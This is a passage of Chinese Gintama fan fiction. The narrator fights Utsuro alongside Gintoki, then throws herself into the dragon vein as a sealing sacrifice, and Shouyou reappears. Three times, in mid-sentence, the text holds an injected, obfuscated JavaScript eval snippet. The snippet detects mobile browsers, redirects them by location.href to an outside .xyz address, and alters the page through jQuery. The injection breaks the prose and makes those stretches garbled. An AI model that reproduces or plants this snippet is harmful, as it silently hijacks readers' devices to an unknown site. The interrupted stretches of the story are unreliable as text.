因为定春的缺失,龙脉再次暴动起来,肆意的绿色闪电四处乱窜,连那边战场也注意到了。 源源不断的生命力从我手中散发,定春慢慢恢复原来的体型,趴在地上无法动弹,吃力地抬头看了我一眼,蹭了蹭我的手。 “你做得很好,别担心,乖乖地等着哦。”我摸了摸它的头,拿出通讯器,“良子,情况如何。” “阿萤!”良子惊喜的呼声从通讯器中传来,“你醒了?” “有点意外,我在地面上,现在各方情况如何?”实在不想解释,我连忙换了个更重要的话题。 良子也没纠结这些,赶紧把目前的状况汇报了一遍,我昏迷后地球上本来算得上友好的大军被有心人煽动,开始了武装斗争。 地球 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15430574|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上没什么好说,歌舞伎町居民为代表的人类不断奋战,凭着源外和小玉,金时等机器人的努力切断了通讯,已经熬过了一些时日。现在通讯恢复,他们集中了万事屋和真选组,夜兔等主要战斗力跟虚带队的奈落众奋战中。 一切跟我看到过的差不多。 宇宙里头,辰马和桂压着一桥喜喜去谈判,情况百出,但得到紫雀提督等人帮助,与春雨其他势力联手,结果还算喜人。尽管一桥喜喜毫不意外牺牲了,但现在宇宙很多人因他们的努力对地球伸出援手,准备拦下那艘大型天鸟船。处于劣势的NTR男圆翔王子决定发射那个传说中一击就可以毁灭一个星球的禁忌兵器“火之伽具土神”,高杉和胧各自带队去破坏,但遭到各方势力和天道众余孽阻拦。胧更是在破坏炮口的爆炸中以身救了高杉,差点就game over在那里。 高杉还活着就一切都来得及,毕竟现在胧可没骨灰给他!他要是挂了,我转头就去找神威,或者直接坑高杉代替我成为神明。 “太费时了。”我果断地打开全部人的通讯器,“良子,打开能量接收器,我把龙脉引去给你,准备开炮!晋晋和胧,辰马和假发,你们全部马上撤离,顺便同步那些天人让他们也尽快离开那艘船,我们把那艘船连同那个什么鬼兵器扬灰。” “开什么玩笑,你怎么扬?没成灰怎么办?”高杉又冷又怀疑的声音从里头传出来,客观地质疑。 我心下一沉,他的声音有点低哑,喘息也急促,应该还是伤得不轻。 “全员把防护盾打开,扬不了就把它的灰烬拦下来就行。”我也很快给出planB,提前做好疏散准备,就算落在地面上也不会引起很大麻烦,“通知信女他们安排地面的人行动起来,届时要疏散区域内的人群。” “重点是这个吗?蠢货,那个武器不是那么容易破坏的啊!” 可以的,因为地球的龙脉充沛而且基本没怎么消耗,没什么比这个更适合开炮。 地球的龙脉,保护地球不是很应该吗? “行不行,试试不就知道了?赶快走,就算不能扬灰,我们也能让他开不了炮。”我笑着道,坚定自信。 拜托,我现在是神明耶,龙脉我都能操控了,实在不行,就全部轰过去,以整个地球之力给它扬灰! “啊哈哈哈,啊哈哈哈哈,不愧是凶残又狡猾的地球人杀手,试试吧,让我们换个方式再大干一场!”辰马一如既往地支持我的决定。 我们原来的计划就是储能开炮强硬地阻止对方并向全宇宙展示地球的武装力量以达到震慑的目的,只是现在能量不够辰马他们才改为先以谈判为主,暗地里尝试直接进船阻止。 “你这个宇宙级别的恐怖分子还真是……”高杉咬牙切齿的声音有着妥协。 我松了口气,最怕他犯倔不肯撤离,刚刚见过的结局里头,高杉就是濒死在那艘船里头的。 那些鬼天道众残骸,只剩那么一点了还要祸害高杉,我要一下子把它扬了! “胧,那船里头有天道众的残骸和余孽,走之前先炸干净。实在不行,船打下来后记得清理干净。”我特别提醒道。 “不会让他们有机会重生的。”胧的声音还带着虚弱,但非常坚定。 “各位,有机会的,我对比过两方战力,只要我们再转化多些阿尔塔纳能量,谁赢还不一定,但绝对能重创他们!”良子评估过后飞快地道。 有了专家的认可,大家对这个建议迅速地接受并且开始行动。 “那就开干吧!所有人马上跑起来,高杉大人和胧大人赶紧带人撤退,黑子赶去支援你们,坂本队长和桂大人安排天鸟船那边的人退离,伊丽莎白和陆奥你们的人也赶紧带着伤患从后方跑!你们的船从侧边撤离,通知其他飞船的盟友们,别卷入那个爆炸范围里头!”泽木迅速地了解各方的位置,安排所有人的撤退路线,“全员加速!” 啧啧,我带的兵就是靠谱! “良子,来了!”我站到龙脉边,感受那些充沛的能量不断环绕在我身边,如同宠物般轻蹭我的皮肤。 不疼,但有点麻。 以太刀为媒介,我把那些青绿色的光引导出来,沿着指引的方向冲去那艘造型一直被我诟病但泽木很坚持的船。在我操控下,那些能量比之前更迅速转化为飞船的动力。 我仰头看着那些绿光被飞船的特制入口吸收,终于松口气笑了笑。 “阿萤,你什么时候回的地球?你……还想要干什么?”忽然,桂的声音从通讯器传来,语气有些严肃。 不愧是我们村塾的神童呢……总是比另外两人更早洞悉我的想法。 我动作一顿,不太想在这个时候听什么会让人动摇的话。 “假发,你们都要好好地活着……只有这样,我们的相遇才是有意义的。” 命运送给我的奇缘,不就是为了让他们成为我爱这个世界的理由么? 所以,高杉不能死,桂不能成为亡灵,银时也不能手刃自己的挚友。不然,我不会喜欢这个世界,我不需要世界美好,人类安然,我只要他们拥有新的人生。但如果需要附带那些条件,我也会努力去做到。 “呐,我想要,你们都能为了自己而活着,沐浴着温暖的阳光。” 不再是因为别人需要而活着,不再是为了复仇或者赎罪而存在,可以随心所欲地做想要做的事……我想要他们这样自由地活着。 “别乱来,阿萤,你在地面上一个人?银时呢?你要是敢做什么蠢事的话……我不介意亲手送你去地狱游一圈……”高杉这话说得很让人心寒。 低头看着手中的通讯器,我笑了笑,扬手把它丢进暴动的龙脉里头。都这个时候了,我才不要被训话。 跟他们要说的,该说的,都说完了。 “嗬~原以为是龙脉被削弱,没想到是有个小鬼偷偷拿来私用。”冰冷而危险的气息从后而来。 我猛地转身,那人已无声立在眼前。 虚一身和服全是斑斑血迹,拿在手中的长刀也滴着鲜血,双目眼珠都没了,空洞在流着血,但他的面容依旧清俊甚至还带了丝笑意,浑身散发着死亡和杀戮的气息。 “哟,我来履行约定了,虚大人。”我偏头朝他笑得灿烂,也不知道他还看不看得见。 虚的嘴角勾起嘲讽的弧度,慢慢朝我走过来,语气轻蔑,“你觉得你能杀掉我?” 我大方地点点头,“可以哦,我是为了这个才回来的。” 开什么玩笑,今天的我已经不是昨天的我了。 他的长刀缓缓举起,颇有兴致地俯视着我,“那就让我看看吧……” 靠,男人!嘴里说着想要我杀他,动手杀我倒是毫不犹豫啊! 79.两人的木头人游戏 尽管虚的身体状态在这段时间的连续战斗后看起来不太好,但他的每一次攻击都又快又狠,仿佛一路以来跟各方人马对战的人不是他般。暴动的龙脉不断修复他的伤,体力和速度完全没有一丝松懈。 休息了这么久又继任了神明的身份,我的状态几乎达到巅峰,也不过是接下他不再保留的攻击而已,反击起来还是有点吃力。 体术对他的攻击力不大,而且他的移动越来越快,我丝毫不敢分心,专注得仿佛当年考试。 太刀狠狠地砍下去,刀刃相接的瞬间强大的冲击力让我手腕发麻,就那么一个恍惚而已,下一瞬眼前的身影已然消失。紧接着,凌厉的刀光从身侧袭来。 太快了!我完全来不及收刀去挡。 “阿萤——” 千钧一发之际,木刀挡下了他的杀招,我倏地就着圈上腰间的手臂旋腿把虚踢飞,随即整个人被抱着退后好几米。 “银时……”我急忙回头,看到新八神乐和冲田等人都赶过来了。 “你怎么会在这里?你的头发……混蛋,你睡了这么久就是去换发型吗?你有本事弄个性感大卷发啊,光变长有什么突破?黑长直无论长短都是一样的呆板啊。”这段时间持续战斗下来,银时身上都挂了彩,看起来惨兮兮的,绯瞳紧缩,整个人深陷在紧绷的作战状态中。 “现在是说这些的时候吗?它们长了还不够突破吗?”我瞪他一眼,别以为我不知道他有多羡慕我的直发。 数名缠着绷带的奈落须臾间攻至我们身边,银时不得不放开我,背靠着背各自杀敌。高效砍杀完自己眼前的敌人,身后的银时忽然就大叫起来。 我吓了一跳连忙回头,只见他豆子眼看过来,表情十分扭曲,惊诧得连木刀都要拿不稳了。 “月见萤!你还不承认自己是个抖S,看看你对这些可怜的奈落都做了什么!你是刽子手还是血滴子啊?其实你真正的姓氏是池田吧,下手也太狠了……”看到我直接砍头的做法,银时嘴角抽搐着指控,“你是要让PTA永远禁播我们吗?不,这是深夜档都放不了的级别了!” 我把那些头踢飞的动作一僵,默了一下才朝他露出最乖巧的笑容,有点尴尬地挠了挠脸颊,“那啥,这样效率比较高……你看那边总悟君不也是这样吗?” “他那是有样学样的!刚刚还不是这样,你们两个抖S!不对,你个恐怖分子别教坏小孩了,真的会被禁播的啊!我们还准备上衍生动画的,那可是健康的高中生日常,你别太过了让我们被投诉啊!”银时也看到那边的冲田总悟干脆地一剑打飞滚到他脚边的头颅,抓狂地弓步怒指着我。 “不愧是一番队队长。哎呀,反正都是你们杀过几次的活尸体而已,怎么就S了呢……这个结局除了看文的人其他都不会知道的。”我拍开他的手,申辩道。 拜托,那些都是死过几次的,我还得照顾他们的遗容吗?坂田银时那恐惧的眼神是怎么回事?活像这些人他没杀过几次似的! 什么S……恐怖的是让这些人不断复活的不死之血好吧,我不过是让他们解脱而已!把人反复杀几次的他才是抖S好么。 “够了,你就是抖S,不接受反驳。话说回来,你这头发是怎么回事?大家等你那么久,你醒了不赶紧滚回来帮忙就是去做头发了吗?”趁着敌人被砍掉的空隙,银时伸手扯了扯我的长发。 “哈,别说我了,你怎么把自己搞得这么狼狈呢,就凭这实力怎么好意思说双倍兑现我的承诺啊。”我抬手给他擦了擦快糊上他眼角的一头血,忍不住揶揄,“别以为我那时候昏迷就听不到哦。” “迟到还意见那么多,你知道这段时间连喘口气都差点没空吗……”银时配合地低下头,嘴里依旧不停胡扯,浑身却紧绷着,整个人蓄势待发。 “正义都可以迟到,凭什么我不行呢?主角总是最后登场的嘛~”我笑着伸手按着他的脸阻止他反驳。 嗯……看来这段时间真的是不停地拼杀,他的脸都清减了,揉起来的手感都没之前好。 趁着虚查看龙脉情况还要应付其他人无暇杀过来,我忽然笑道,“银时,还记得的吧,只要我提出来,死都会做到三个条件,说到做到哦!” 他怔了怔,眼神蓦地一凛,刚想要说什么。 我手捂着他的嘴,“一二三,木头人,三分钟!” 绯红的瞳孔猛然剧烈紧缩,眼底似乎要喷出炽热的烈火,他狠狠地瞪着我。 这种狂狷又狠厉的眼神足以让任何一个敌人警惕。可惜,我从来不怕这种让人恐惧的眼神,当年的白夜叉也吓不住我。 “第二,好好保护大家包括你自己,我也不指望你会为了自己而活了,反正你需要这样被人需要,没安全感又怕寂寞还怕鬼的笨蛋……” 他大概是气疯了,脸色煞白,胸膛急促起伏,眸底却扬起一抹针对我的不安。 我安抚般拍了拍他的头,忽然有点怀念以前逗他的日子,眼神放柔。 “哎,银时,虽然现在这样说有点过分,但……假发日后有几松可以发展一下,晋晋心里只有松阳,也不知道会不会回头看到又子,呐……尽管可能无法看到,可你要是跟其他女人跑了的话,我还是会很不爽……” 他的手猛地抓住我手腕,力度大得让我吃痛。 就着气恼瞪了他一眼,我抬头垫脚,抓着他飞快地啃了一口。同时,手腕灵巧一转便挣脱他的手退后几步。 他被我亲得懵了一下,下意识想要踏前,我提醒道,“还有一分钟。” 眼前咬牙切齿的男人看我的眼神比看虚还要带杀气,哎…… “你想做什么……别给老子乱来啊混蛋!”银时的语气满是威胁,浑身的气势让人心惊,“我们的账还没算……” 我笑着点点头应下,反正最乱来的事都做了,剩下的在我看来都是正经事。 至于算账,作为债主我也可以大方地放弃债权。 “说起来,我好像从来没好好跟你道别。银时,撒哟娜娜~最后,你好好活着吧,多晒太阳钙质才能吸收,不然打架会输给晋晋哦……” 胸腹猛地一痛,我的视线从银时瞬间大变的脸慢慢下移到自己胸口,虚的刀从身后贯穿我的身体。自己的血染红了身上的浴衣,看起来确实有点可怕。 很痛,但我已经不在乎了,这本来就是我为自己打造的盛大派对。 “阿萤!”银时骇然,气急地想要动。 “还有四十秒。”我提醒银时,他双眼死死地盯着我,紧缩的瞳孔里头全是疯涌的杀意,却强制自己没有动。 感谢武士对承诺的坚持。 “月见!” “阿萤姐!” 那边的人被不死的奈落缠着暂时不能支援,只能干着急。 我走两步挣开那柄刀,转身蹙眉看着虚,“啧,耐性真差。” 看来虚真的被这群武士的围攻逼急了,那动作越发狠戾,不见了之前的从容。 踢开再次袭来的长刀,手一扬,我的太刀精准地刺穿他的心脏,机关一按,刀身蓦地散出激光般的光芒。 同时,天空传来巨响,良子开炮了。不愧是这个世界的女人,比男人靠谱多了,从不虚言。 “光这样杀不掉我哦,阿萤。”虚眯起眼,随即脸色剧变。 正常来说确实不能,毕竟是个光有心脏都能重生的怪物。但……慢慢抬头,我挑眉笑得狡猾,“给你身体加点你毁灭的星球的阿尔塔纳……舒服吗?” 这可是七个星球的阿尔塔纳混合体呢……特别为了让他崩溃而准备的,可不是星海坊主打造的那种单一货。 七彩的颜色从他身体迸发,我狠狠地头槌过去,随即抬脚横踢。 虚被踢飞跌落在龙脉前,落地瞬间猛地往我袭来,空洞眼眶突然长出眼珠子,眼神骤然变狠,手握长刀便砍下来。 迅猛而凌厉的攻势如暴雨般袭来,我疾速挥舞手中的太刀,挡下他招招致命的攻击。很快,他的身体摇晃一下。 一只几近透明的手握着他的,阻止了他挥刀。看到那抹几乎透明的身影,我干脆地喷了口血,扬眉笑了。 比高杉睡更久的人……终于醒了么? “松阳……”虚平静无波的脸上浮现一抹震惊。 时间到。 “混蛋——” 木刀夹带雷霆之势和狂怒袭来,狠狠拦下了虚再次挥舞而来的刀。暴怒的银时攻势比任何时候都要猛烈,瞬间迸发让人压迫的气势。 配合着他的攻势,我不断把手中的太刀往虚身上挥去。所有心神集中在眼前的敌人身上,我丝毫不敢大意,直到那些越来越熟悉的招式之间杀意慢慢减缓。 虚仿佛意识到什么,他的神色骤然狠戾,忽然以肩膀生生受了太刀的砍击,一手抓着木刀刀刃,丝毫不在意血红飞溅,长刀凌厉地砍向被他压制着的银时。 “不要!”猛地一惊,我下意识伸手去挡那倒影着我们的刀刃。 剧痛从手心蔓延,下一瞬,银时的手放开我,用力抓上刀刃,我们的血飞溅的同时他强硬地把那柄长刀折断。 “虚——”木刀划过虚的身体,带出一片血红,杀疯了的银时扣着我的腰把我拉到身边,毫不犹豫地跟我一起进攻。 说实话,这不是我第一次跟他配合攻击,却是我第一次跟上坂田银时速度的战斗。 然而很快,熟悉我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436436|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切招式的虚把他的木刀拦下,抬眸狠狠地看着被他紧紧扣住的我,“你说的……就这样杀掉我?你还是想要救人类?” “顺手而已。”我直视他的双眸,勾唇笑得傲然,“从一开始,我做任何事,都只会顺应我的三观和意志,至于其中谁因此而得到救援,那不过是顺手罢了。” 从头到尾,我想做到的,不过是撕开时代的缺口,给这些笨蛋们多一些选择。至于救人类或者拯救地球,那是他们的事,于我都不过是顺手而已。 虚冷笑一声,蓦地以刀柄用力狠击银时的手臂,“是么……那我倒要看看,用你的手来毁灭这一切,是不是也是顺手而为!” “阿萤!”银时吃痛下意识手一松,我被卷入虚怀中。 我一愣神,原本清晰的视线忽然晃动,虚整个身影仿佛分身般偏移了一下。 眼前忽然一黑,手脚像是被束缚般一阵麻木,脑海不自觉浮现很多混乱的画面,像是有什么东西强行入侵我的大脑。 我猛地喷出一口血,刺痛从心底爆发。 仿佛是被一股蛮力拉进了奇怪的地方,我眼睁睁地看着自己慢慢抬起手,却没有丝毫操控身体的感觉。 银时再次伸手抓住我手臂,那种颤抖透过神经末梢传来,我唇边浮现一抹玩味的冷笑,开口的声音却是虚,“真是意外……这具身体竟然能操控龙脉……她果然是我的同类啊……” 绯曈猛地睁大,银时惊骇得松开手。 原本扣着我的虚的身体颓然倒下,我抬起头,极快地出手掐着银时的脖子,朝他咧出阴凉的笑。 “说过了啊……你的剑无法触及我,你的手也无法拥抱所爱之人……真遗憾呐,这一次,你要杀了她么?” 银时一愣,双眼霎时陷入一片空洞,瞬间强烈的绝望笼罩而下。 “阿萤……姐?”摆脱奈落赶到的神乐等人也惊惧地看着这边,一时间不知道该不该攻过来。 不要!我才不要输给那个老男人! 强烈的主导情绪席卷,我握着太刀的手一松,猛地抓上腹部的伤口。 闭了闭眼,剧烈的刺痛让我清醒了几分,奋力拿回自己身体的控制权,我深呼吸压下身体里翻涌的气息。 坂田银时毫无反抗地任我掐着他的咽喉,瞳孔颤动地看着我,握着洞爷湖的手在轻颤,另一手慢慢抬起伸向我。 放开银时的脖子,我抬手抚着眼前这个惊慌无措却依然颤抖着朝我伸手的男人的脸,他的眼神透露出的绝望跟当年一样。 “笨蛋,别露出这么窝囊的表情啊……自信点,你的剑已经把他打得伤痕累累了……” 因为他们之前的奋战,太刀里面的能量跟洞爷湖都给虚极大的伤害,造成了他的崩溃,我才能做到想要做的。 哪有无法触及,明明就差点砍死他了好吧。 “阿……萤……”银时还没反应过来般看着我,他的手无力般轻握着我的手背。 “说过了吧,能决定我命运的从来只有我……银时,我可不是会输的女人……”我露出他最熟悉的笑容,坚定地道。 我做那么多准备,可不是为了再一次把这个笨蛋架在两难的选择题面前。 我看过的结局里,高杉死在他怀中,但他也保护了松下村塾高杉晋助的灵魂,再痛苦也还能走下去。 但我不一样,我的灵魂从来没有迷失过,坂田银时无论哪个时间都有好好地把我带回他的身边…… 所以,若我不能压住虚,在这个关键节点坂田银时再怎么挣扎最后也还是会为了救人类和地球而杀掉我,他做得到的……但做这种选择的话,坂田银时不用等到两年后,马上就会被毁掉……那我做这么多不就白费了? 更何况,这个乱来的家伙不一定会甘心会让我独自去地狱。 所以,我不能让他动手。可要一次性消灭虚,也许真的只有这样才能做到。我不想要等一个两年后,更不要高杉为了松阳而死——那不是我们的初衷。 虚是龙脉而生的,成为人神并且掌控龙脉的我,正好适合满足他的愿望,终结这一切,而我也已为自己谋得最后的机会。 还好,虽有些意外,但一切如我所愿地发展。 “我跟他约好了,要真正地让他解脱。对不起呢……银时。” 不等银时反应,我有点抱歉地笑了笑,用力出掌把他拍开,借力跃后跳进激烈翻涌着绿光的龙脉里头。 这些家伙就交回给你了……我笑看着那个终于熟悉的身影,放心地任由那些绿光包围。 最后一眼看到的,是扑上来的几人把毫不犹豫跟着跳下来的人拽回去。 那怒吼的声音仿如野兽的悲鸣。 80.打破命运枷锁的人 “这一次要杀了她么?” 近在咫尺的面容依然熟悉,原本琥珀色的大眼转为混沌的血红。她在笑,却不带一丝笑意,只有嘲弄与恶意,森冷诡异。 杀了她吗? 转瞬之间,坂田银时脑海闪过很多画面,笑眯眯地搂着还是小子的他们的她,穿着武士服惹到高杉后朝他扑过来寻求庇护的她,在万事屋跟神乐一起缠着他做饭的她……那个笑容一直都在,为什么现在忽然就变了? 脖子被那只手紧紧掐住,他竟有种就这样死在她手中也挺好的念头。这是第一次,那么长久以来,坂田银时第一次感到她真的会离开,再也不会忽然蹦出来…… 什么都做不到的他……连她也要失去了啊…… 神乐他们的声音就在身后,他听着却仿佛隔了很远。他清楚知道自己应该反抗,这个弱鸡就算换了芯子也打不过他的……坂田银时手中的木刀应该砍下去,无论朝着谁,但……他动不了啊……他的刀无法向她挥去。 就算是想要陪着她去地狱,她也不会允许别人决定她的命运。 在他颤动的瞳孔倒影中,那双眸子再次转为他熟悉的琥珀色,清澈纯净,带着他渴求的温柔。 她的手抚上自己的脸颊,坂田银时完全没有逃开的想法。那个笑容太温柔,他却感到一股寒意涌上脊背,手足无措。 这是她要做蠢事的节奏…… 肩膀一痛,他不受控地往后跌,脸色愈发惨白,双眼死死地看着前方的她干脆地跃进那片绿光中,如灰烬般散去。 所有心神猛然归位,他脚下用力,想也不想地跟着跃出,却被扑过来的人压下。 喉间无法控制的怒吼,无法唤回那个人。 那一刹那,月见萤做的一切都好像有了更直白的解释。 她是什么时候开始想要这样的结束? 一瞬间,银时的脑海里掠过无数她的画面,最后停留在她埋在他怀中哭泣的那一刻。 【银时,我回不去了……是吗?我想要的家,都回不去了……】 他就不该指望蠢货的脑子……那时候他就应该直白地告诉她,歌舞伎町是她的家,老太婆,猫耳看板娘,机器人女仆,暴力女猩猩,怪力女金刚,眼镜……还有他,脑残的恐怖分子,中二的恐怖分子,大家在的地方都是她的家…… 就连现在,大家也在等着她从宇宙平安归来。 若是知道,她就会舍不得……可是他没有保护好她,也没有让她明白这些。大家那么明显的关心,她是榆木脑袋吗? 月见萤这个混蛋……果然是从逼供那两个天X宝宝的那天起就想要结束一切了啊……她跟神威的约定,跟虚的约定,结局都是消失。 那个仓促的吻仿佛是道别。早就这样打算,她才会不管不顾,连他们之间也不留退路……找死的游戏原来她真的还没玩够…… 可恶啊……跟当年一样,什么都做不到……那种逃不掉的感觉,跟当年一样无助,一样痛得无法呼吸。 这一次,化成灰的人,他要去哪里找回来? “阿萤姐——” 那抹身影转瞬间化成零散细碎的萤光消失在龙脉暴动的绿光之中。 神乐眼泪不敢往下掉,咬牙拉着人,不忍去看他的表情。视线落在那个一身血污和服的男人身上,神乐下意识戒备。 “China,闪开!”冲田总悟持刀杀过来,却被男人轻易拦下。想要再战,却在看到那双温柔的眼睛时犹豫了,“你是……谁?” 他的身体和感觉都告诉他,眼前的人跟刚才的敌人都不一样,这个不是虚! “龙脉……银酱,龙脉有变化……”神乐抬头,脸色煞白。 原本因为阿萤而稳定的光柱里迸发出一个巨大又繁复的图案,仿佛是某种宗教的阵法,所有的绿光缠绕着这个阵法,浮现挣扎翻腾的巨龙形态,如怒吼般直冲天际。 “银时,别担心……”松阳伸手揉了揉那个低垂的头。 坂田银时浑身一震,慢慢抬起头,难以置信地看着眼前的人,“松……阳?” 那个温柔又熟悉的笑容映入眼底,银时瞳孔轻颤,胸膛内的心脏砰砰直跳,连呼吸都无法自主般,愣愣地看着他。失去的空洞和恐惧,与见到松阳的震惊相互冲击,各种感受交错疯涌而上,他无法反应,只能下意识地抓紧能抓紧的。 “你们几个,还真是跟以前一样喜欢乱来呢。”松阳看了眼龙脉,叹笑着道。 “那家伙才是……跟你一样欠揍……松阳,你知道她要做什么?”银时脸色煞白地抬头看他,而松阳只是轻轻摇了摇头。 “这到底是什么?”新八带着定春赶过来,看到眼前景象也愣住了。 另一边的天空上,传说中的兵器被击毁,连同天鸟船坠落。天空中各飞船展开一片防护网,组成巨大的屏障,把天鸟船的残骸兜住,不少飞船能量耗尽跌入大气层,真选组的人被紧急调去疏散人群。 冲田总悟看了他们一眼,转身招呼着同伴往需要他们的地方赶去。 两个巫女逆着人流相互扶持着走到这边,看到龙脉的阵法大吃一惊,“这个……是龙脉封印阵法……我在秘传的古书里看到过,虽然书里只是残破的一半,但错不了的。可是……几百年都不曾出现过……” 龙脉封印阵法? 神乐等人看向她们。 松阳微微一笑,眉宇间颇为自豪,“不愧是我们家永远25岁的奇迹。” 坂田银时看着那张刻在记忆里的笑颜,手还紧紧抓着他的衣角,努力理清这一切,“松阳,这……是怎么回事?” “我只知道,她利用虚崩溃的瞬间叫醒了我……但,这个阵法……我确实没见过。”松阳笑得有点无奈,他还能醒来,自己也十分意外。 那边的巫女已经从神乐口中得知一切,脸色沉重,“传说这个阵法是以被挑选的灵魂献祭镇压龙脉……她大概……” “不会的!”神乐猛地打断她的话,倔强地瞪着她们,“阿萤姐才不会输,她说过的,我们家的女人绝不能认输!一定有办法的……对吧,银酱。” 最后的话,她看着银时,眼底带着一丝忐忑。 “没错,阿萤姐不会输,她比我们靠谱多了,一定会没事的。”新八擦了擦脸上的血,坚定地道,“振作起来,银桑,别就这样放弃,我们不能光让她一个人努力……会有办法的,我们万事屋也不能这样就认输啊!” “新八……”听到他的话,神乐仿佛有了支撑般,眼泪一下子就掉了下来。 “银时,”松阳轻拍他的肩膀,声音温和坚定,“我们松下村塾的阿萤可不是那种轻易放弃的家伙,你也不能就这样放弃她。” 他们笃定的声音唤回了游离的思绪,荒芜的空洞慢慢被填满,银时手指用力蜷曲成拳,眼神重新锐利起来。 是啊……那是一个不顾他人死活乱来的白痴,但他了解的月见萤从来不干吃亏的事,这样英雄式的行为不应该是她的作风。就算要放弃一切,她能舍弃其他人,但绝对不是这一刻,她不会在他们三个还在奋战未知结局的时候结束。她知道,以这种方式道别的话,这辈子他们都走不出这个阴影。 所以,一定在什么地方会有办法的,她不会轻易死在这种地方。 握紧手中的木刀,银时垂眸,声音低哑,“啊,会有的……办法什么的。她连龙脉都能操纵,怎么会输给一个阵法……” 干尽混事就想跑,哪有这么便宜的事?他紧抓在手里的人,谁都不能夺走,这个不顾他死活的混蛋就算是去了地狱……他也要把人揪回来! “会有的!” 桂的声音坚定响亮得如同神喻从上方传来,飞船缓缓开过,四个身影从上面一跃而下。 浑身沾了不少血的高杉和桂头绑着额带落在地上,各自踩着一个人。两人原本想说什么,却在看到银时身边的人时瞬间浑身一僵,所有的话都堵在喉间,眼瞳剧烈震动。 “松阳老……师……”高杉脸色骤然惨白,几乎无法相信眼前的一切。 松阳顾不得擦去两行清泪,只是朝他们露出往昔的笑容,然后看向他们脚下的人,“他们是谁?” 一胖一瘦的两个人趴着抬头看了眼龙脉里头的阵法,瑟缩着身子低喃,“没想到她真的做到了……明明说不干来着……” “是命运的安排……” 话没说完,桂一脚碾下去,阴沉地俯视他们,“命运?开什么玩笑?我们家的乖宝绝不会输给这种东西。” 仿佛是惊觉自己太过粗鲁,桂连忙正了正脸色,轻咳两下,“老师,我平时不是这么粗暴的,只是有点心急而已……” 松阳微微一笑,“小太郎,晋助,请他们把知道的事情都给我们讲解一下吧。” 高杉和桂两人同时低下头,双眼冒光脚下用力,慢慢扬起长刀。 一阵风过后,鼻青脸肿满头血的两人跪得端正,瘦子作为代表恭敬地道,“这个阵法是以灵魂之力镇压龙脉,消耗的是她的生命力……如果,有其他生命力加进去的话,可能会保住她最后的生机。可是……这几乎是不可能的……她本来就是为了献祭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443594|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才会被选中……她消失了就代表龙脉被封印!” 话没说完,一记重拳狠狠揍在瘦子脸上,他只来得及撞上那双暴戾残虐的红眸,便被打飞彻底失去意识。胖子看着兄弟的惨状,大气都不敢喘。 “不可能?”坂田银时冷冷地看着他们,甩了甩拳头,自信傲然,“不好意思,我们家的人专门挑战不可能。” 她消失了才行?开什么玩笑,当他们全部死光了吗? 高杉和桂的表情跟他无异,既然那家伙都能做到一个人挑战全宇宙,还把松阳带了回来,那他们也不能太拖后腿。 不可能什么的,他们全都给打破。 “没错,我们可是能做万事的万事屋,也不能输给你们。”神乐和新八扬眉,信心满满地道。 “我们也来帮忙吧!”百音扯着胖子站起来,拿出铃铛,“这本来就是我们的工作,可不能太偷懒。” 定春汪了一声,神乐等人看了一眼银时他们,转身跟上那两个巫女,把最后的时间留给师生几人。 一传十,十传百,源源不断的生命力慢慢往这边汇聚,百音姐妹打破了结界,把生命力灌注。 没有聚焦那边的骚乱,银时三人站在松阳面前,乖巧得如同当年的孩子。 “让我好好看看你们吧……我的弟子们。”松阳的身体开始变淡,面容如记忆中温柔,“你们……都成长得如此出息了啊……” “老师……跟我们回去吧,回到最初的地方,这一次……我一定能保护你的。”高杉伸出手拉着他的袖子,难得笑得平和,眼底没有一丝的戾气,连泪水也无法压抑,稚气得如同当年。 眼前的人影响了高杉整个人生,他无怨无悔地追逐着恩师的脚步,甚至因他的死亡憎恨整个世界。如今,他再次出现在高杉的眼前,昔日深刻的悔恨因他而消融。 “老师,我们一直想要跟老师你一起回去,跟你和阿萤。”桂满眼泪水,声音微颤,“你的教导,我从来都没忘记过……现在,黎明已经要来了,老师,我们要成功了。” 老师的信念他有好好地传承,他们的志向他一直有好好地努力。 “松阳……我,我们还有很多话……想要跟你说的。我一直想要让你知道,万事屋的一切,我跟他们的故事,还有这些年我们分开又重聚的事。跟我们回去吧……跟她一起,回去那个家。”银时一直没放开手,颤声道。 见到恩师的那一刻,银时才发现他原来很想跟松阳说这些事,想要让他知道自己虽然不成器但也有好好地做到跟他的约定,想要他知道这些年自己遇到过的人们。 松阳看着他心爱的弟子们,泪光盈盈地摇摇头,“老师已经无法回去了,但是……你们也不需要回头,前方……已经有人在等着你们了。” 那些奋力去自救和救人的孩子们,还有那些在半空为守护地球而努力的人们,这些都是由因他的弟子们而燃起来的希望。松阳心中盈满了自豪与骄傲,他的弟子们,已经成为超越他的存在了呢。 